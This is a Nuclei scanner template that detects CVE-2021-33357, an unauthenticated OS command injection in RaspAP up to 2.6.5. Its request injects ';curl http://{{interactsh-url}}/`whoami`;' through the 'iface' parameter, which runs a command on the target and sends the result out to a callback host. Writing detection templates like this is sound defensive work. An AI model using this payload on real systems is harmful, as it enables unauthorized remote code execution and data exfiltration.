nuclei-templates/cves/2021/CVE-2021-33357.yaml

id: CVE-2021-33357

info:
  name: RaspAP <= 2.6.5 - Remote Code Execution
  author: pikpikcu,pdteam
  severity: critical
  reference:
    - https://checkmarx.com/blog/chained-raspap-vulnerabilities-grant-root-level-access/
    - https://gist.github.com/omriinbar/52c000c02a6992c6ce68d531195f69cf
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33357
    - https://github.com/RaspAP/raspap-webgui
  description: RaspAP 2.6 to 2.6.5 in the "iface" GET parameter in /ajax/networking/get_netcfg.php, when the "iface" parameter value contains special characters such as ";" which enables an unauthenticated attacker to execute arbitrary OS commands.
  tags: cve,cve2021,rce,raspap,oob

requests:
  - method: GET
    path:
      - "{{BaseURL}}/ajax/networking/get_netcfg.php?iface=;curl%20http://{{interactsh-url}}/`whoami`;"

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

    extractors:
      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - 'GET \/([a-z-]+) HTTP'